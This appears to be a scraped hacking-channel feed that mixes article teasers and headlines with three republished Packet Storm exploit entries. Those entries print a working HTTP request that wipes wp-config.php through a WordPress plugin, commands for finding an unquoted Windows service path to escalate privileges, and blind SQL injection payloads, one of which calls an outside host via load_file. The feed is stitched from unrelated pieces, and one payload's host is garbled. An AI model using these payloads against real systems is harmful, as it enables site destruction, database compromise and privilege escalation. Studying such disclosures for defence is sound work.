No Rate Limiting Vulnerability & Bypasses - Cyber Sapiens Internship Task-17
https://sapt.medium.com/no-rate-limiting-vulnerability-bypasses-cyber-sapiens-internship-task-17-bcf31d5d511c?source=rss------bug_bounty-5

Hello guys👋👋 ,Prajit here from the BUG XS Team and Cyber Sapiens United LLP Cybersecurity and Red Team Intern, in this I am regularly…Continue reading on Medium » (https://sapt.medium.com/no-rate-limiting-vulnerability-bypasses-cyber-sapiens-internship-task-17-bcf31d5d511c?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Insecure Direct Object Reference- Cyber Sapiens Internship Task-18
https://sapt.medium.com/insecure-direct-object-reference-cyber-sapiens-internship-task-18-986a5824c797?source=rss------bug_bounty-5

Hello guys👋👋 ,Prajit here from the BUG XS Team and Cyber Sapiens United LLP Cybersecurity and Red Team Intern, in this I am regularly…Continue reading on Medium » (https://sapt.medium.com/insecure-direct-object-reference-cyber-sapiens-internship-task-18-986a5824c797?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

File Inclusion Vulnerabilities - Cyber Sapiens Internship Task-19
https://sapt.medium.com/file-inclusion-vulnerabilities-cyber-sapiens-internship-task-19-d6e4b502cf83?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hello guys👋👋 ,Prajit here from the BUG XS Team and Cyber Sapiens United LLP Cybersecurity and Red Team Intern, in this I am regularly…Continue reading on Medium » (https://sapt.medium.com/file-inclusion-vulnerabilities-cyber-sapiens-internship-task-19-d6e4b502cf83?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Be Flexible About Where People Work — But Not on Data Privacy

If your policies don't keep up with your work models, your company's sensitive information could be at risk.

Dark Reading: Attacks/Breaches
Hybrid Work Accelerated Fraud; Now, CSOs Are Taking a Seat at the Executive Table

The days of security as a second-class citizen are over.

Dark Reading: Attacks/Breaches
Where AI Falls Down in Cybersecurity

Almost every cybersecurity product claims to incorporate AI. Sometimes, though, that's a mirage.

‘Ice phishing’ on the blockchain
https://www.reddit.com/r/redteamsec/comments/su1dcs/ice_phishing_on_the_blockchain/

submitted by /u/SCI_Rusher (https://www.reddit.com/user/SCI_Rusher)
[link] (https://aka.ms/IcePhishingOnTheBlockchain) [comments] (https://www.reddit.com/r/redteamsec/comments/su1dcs/ice_phishing_on_the_blockchain/)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Error Log Viewer 1.1.1 Arbitrary File Deletion

https://4.bp.blogspot.com/-ILIpsq3JVDo/WWlvQ8IjxbI/AAAAAAAAINI/veR2GTC9zzcP6cUZEvOZqGdUDt2RtL0uQCLcBGAs/s1600/h32.png
WordPress Error Log Viewer plugin version 1.1.1 suffers from an arbitrary file deletion vulnerability where it can be leveraged to wipe the internal contents of any named file the webserver has permissions to modify.

MD5 | bd2b398b1fa771ffccb743e2b4156dd3

Download
# Exploit Title: WordPress Plugin Error Log Viewer 1.1.1 - Arbitrary File Clearing (Authenticated)
# Date: 09-11-2021
# Exploit Author: Ceylan Bozogullarindan
# Exploit Website: https://bozogullarindan.com
# Vendor Homepage: https://bestwebsoft.com/
# Software Link: https://bestwebsoft.com/products/wordpress/plugins/error-log-viewer/
# Version: 1.1.1
# Tested on: Linux
# CVE: CVE-2021-24966 (https://wpscan.com/vulnerability/166a4f88-4f0c-4bf4-b624-5e6a02e21fa0)
# Description:

Error Log Viewer is a simple utility plugin that helps to find and view log files with errors right from the WordPress admin dashboard. Get access to all log files from one place. View the latest activity, select logs by date, view a full log file or clear a log file!

I've especially emphasized "clearing a log file" statement because the feature of "clearing a log file" can be used to delete an arbitrary file in a Wordpress web site. The reason of the vulnerability is that, the value of a file path which is going to be deleted is not properly and sufficiently controlled. Name of the parameter leading to the vulnerability is "rrrlgvwr_clear_file_name". It can be manipulated only authenticated users.

An attacker can use this vulnerability; to destroy the web site by deleting wp-config.php file, or to cover the fingerprints by clearing related log files.

# Steps To Reproduce

1. Install and activate the plugin.
2. Click the "Log Monitor" available under Error Log Viewer menu item.
3. Choose a log file to clear.
4. Intercept the request via Burp or any other local proxy tool.
5. Replace the value of the parameter "rrrlgvwr_clear_file_name" with a file path which is going to be cleared, such as /var/www/html/wp-config.php.
6. Check the content of the cleared file. You will see that the file is empty.
# PoC - Supported Materials

---------------------------------------------------------------------------
POST /wp-admin/admin.php?page=rrrlgvwr-monitor.php HTTP/1.1
Host: 127.0.0.1:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 603
Connection: close
Upgrade-Insecure-Requests: 1
Cookie: [admin+]

rrrlgvwr_select_log=%2Fvar%2Fwww%2Fhtml%2Fwp-content%2Fplugins%2Flearnpress%2Finc%2Fgateways%2Fpaypal%2Fpaypal-ipn%2Fipn_errors.log&rrrlgvwr_lines_count=10&rrrlgvwr_from=&rrrlgvwr_to=&rrrlgvwr_show_content=all&rrrlgvwr_newcontent=%5B05-Feb-2015+07%3A28%3A49+UTC%5D+Invalid+HTTP+request+method.%0D%0A%0D%0A++++++++++++++++++++++++&rrrlgvwr_clear_file=Clear+log+file&rrrlgvwr_clear_file_name=/var/www/html/wp-config.php&rrrlgvwr_nonce_name=1283d54cc5&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Drrrlgvwr-monitor.php
---------------------------------------------------------------------------


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Emerson PAC Machine Edition 9.80 Build 8695 Unquoted Service Path

https://3.bp.blogspot.com/-vLPaJ0bXchM/WWlvcii8AuI/AAAAAAAAIPY/lohzKYQrhRkUA5ocnA3xRTtIEj7YZIM-ACLcBGAs/s1600/h77.png
Emerson PAC Machine Edition version 9.80 Build 8695 suffers from an unquoted service path vulnerability.

MD5 | 5494f7d47945a044c1fe7118166335d3

Download
# Exploit Title: Emerson PAC Machine Edition 9.80 Build 8695 - 'TrapiServer' Unquoted Service Path
# Discovery by: Luis Martinez
# Discovery Date: 2022-02-13
# Vendor Homepage: https://www.emerson.com/en-us
# Software Link : https://www.opertek.com/descargar-software/?prc=_326
# Tested Version: 9.80 Build 8695
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path:

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "TrapiServer" |findstr /i /v """

Trapi File Server TrapiServer C:\Program Files (x86)\Emerson\PAC Machine Edition\Common\Components\NT\trapiserver.exe Auto
# Service info:

C:\>sc qc TrapiServer
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: TrapiServer
TYPE : 120 WIN32_SHARE_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Emerson\PAC Machine Edition\Common\Components\NT\trapiserver.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Trapi File Server
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
ServiceNow Orlando Username Enumeration

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Medical Store Management System 1.0 SQL Injection

https://1.bp.blogspot.com/-luFAqsulr64/WWlvFAfKXLI/AAAAAAAAILI/M2y6qJlcju8Kpq9V68KpSF2h6FJoaSeWACLcBGAs/s1600/h135.png
Medical Store Management System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | df8f961c3b0d0084e6993f21b9dce139

Download
## Title: Medical Store Management System v1.0 remote SQL-Injections
## Author: nu11secur1ty
## Date: 02.16.2022
## Vendor: https://github.com/abhisheks008
## Software: https://github.com/abhisheks008/Medical-Store-Management-System
## CVE-Medical Store Management System v1.0
## Description:
The `cid` parameter fom customer-add.php app on Medical Store
Management System v1.0 appears to be vulnerable to SQL injection
attacks.
The application took 20034 milliseconds to respond to the request,
compared with 36 milliseconds for the original request, indicating
that the injected SQL command caused a time delay.
The malicious actor can take control of the system administrator
accounts of this system!
WARNING: If this is in some external domain, or some subdomain, or
internal, this will be extremely dangerous!
Status: CRITICAL
[+] Payloads:

```mysql
---
Parameter: cid (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cid=987101' AND (SELECT 7784 FROM (SELECT(SLEEP(3)))HbQW)
AND 'yDXs'='yDXs&cfname=Safia&clname=Malik&age=22'+(select
load_file('\\\\ej12det210osu6x32wsqrnyu6lce080wrzfr2kq9.https://github.com/abhisheks008/Medical-Store-Management-System\\tah'))+'&sex=Female&phno=9632587415&emid=safia@gmail.com&update=Update
---

```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/abhisheks008/2022/Medical-Store-Management-System)

## Proof and Exploit:
[href](https://streamable.com/p97tbi)


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video